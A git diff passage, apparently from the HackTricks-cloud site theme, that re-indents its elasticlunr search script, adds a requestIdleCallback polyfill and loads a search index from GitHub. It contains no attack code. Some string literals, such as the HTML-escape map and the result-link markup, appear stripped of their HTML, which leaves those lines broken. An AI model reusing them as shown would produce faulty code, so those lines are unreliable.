`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a